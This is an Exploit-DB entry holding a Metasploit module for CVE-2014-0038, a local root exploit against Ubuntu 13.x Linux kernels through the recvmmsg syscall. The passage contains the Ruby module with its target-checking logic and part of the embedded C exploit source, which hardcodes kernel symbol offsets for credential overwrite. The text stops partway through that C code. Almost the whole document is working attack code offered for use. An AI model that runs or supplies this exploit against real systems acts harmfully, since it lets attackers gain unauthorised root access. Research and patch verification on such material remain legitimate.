Exploit-DB #40503
Description: Linux Kernel 3.13.1 - 'Recvmmsg' Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2016-10-11
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
          system call with a crafted timeout pointer parameter to gain root.
          This exploit has offsets for 3 Ubuntu 13 kernels built in:
          3.8.0-19-generic (13.04 default)
          3.11.0-12-generic (13.10 default)
          3.11.0-15-generic (13.10)
          This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
          pointer which starts at 0xff*3 (765 seconds)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>',  # Module
            'rebel'                         # Discovery
          ],
        'DisclosureDate' => 'Feb 2 2014',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'Auto', { } ]
          ],
        'DefaultTarget'  => 0,
        'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
        'References'     =>
          [
            [ 'EDB', '31347'],
            [ 'EDB', '31346'],
            [ 'CVE', '2014-0038'],
            [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      if os_id == 'ID=ubuntu'
        kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.11.0'
          if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        when '3.8.0'
          if kernel == Gem::Version.new('3.8.0-19-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end


    # direct copy of code from exploit-db.  I removed a lot of the comments in the title area just to cut down on size

    recvmmsg = %q{
      /*
      *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
      recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
      CVE-2014-0038 / x32 ABI with recvmmsg
      by rebel @ irc.smashthestack.org
      -----------------------------------
      */

      #define _GNU_SOURCE
      #include <netinet/ip.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/socket.h>
      #include <unistd.h>
      #include <sys/syscall.h>
      #include <sys/mman.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <sys/utsname.h>

      #define __X32_SYSCALL_BIT 0x40000000
      #undef __NR_recvmmsg
      #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
      #define VLEN 1
      #define BUFSIZE 200

      int port;

      struct offset {
          char *kernel_version;
          unsigned long dest; // net_sysctl_root + 96
          unsigned long original_value; // net_ctl_permissions
          unsigned long prepare_kernel_cred;
          unsigned long commit_creds;
      };

      struct offset offsets[] = {
          {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
          {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
          {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
          {NULL,0,0,0,0}
      };

      void udp(int b) {
          int sockfd;
          struct sockaddr_in servaddr,cliaddr;
          int s = 0xff+1;

          if(fork() == 0) {
              while(s > 0) {
                  fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
                  sleep(1);
                  s--;
                  fprintf(stderr,".");
              }

              sockfd = socket(AF_INET,SOCK_DGRAM,0);
              bzero(&servaddr,sizeof(servaddr));
              servaddr.sin_family = AF_INET;
              servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
              servaddr.sin_port=htons(port);
              sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
              exit(0);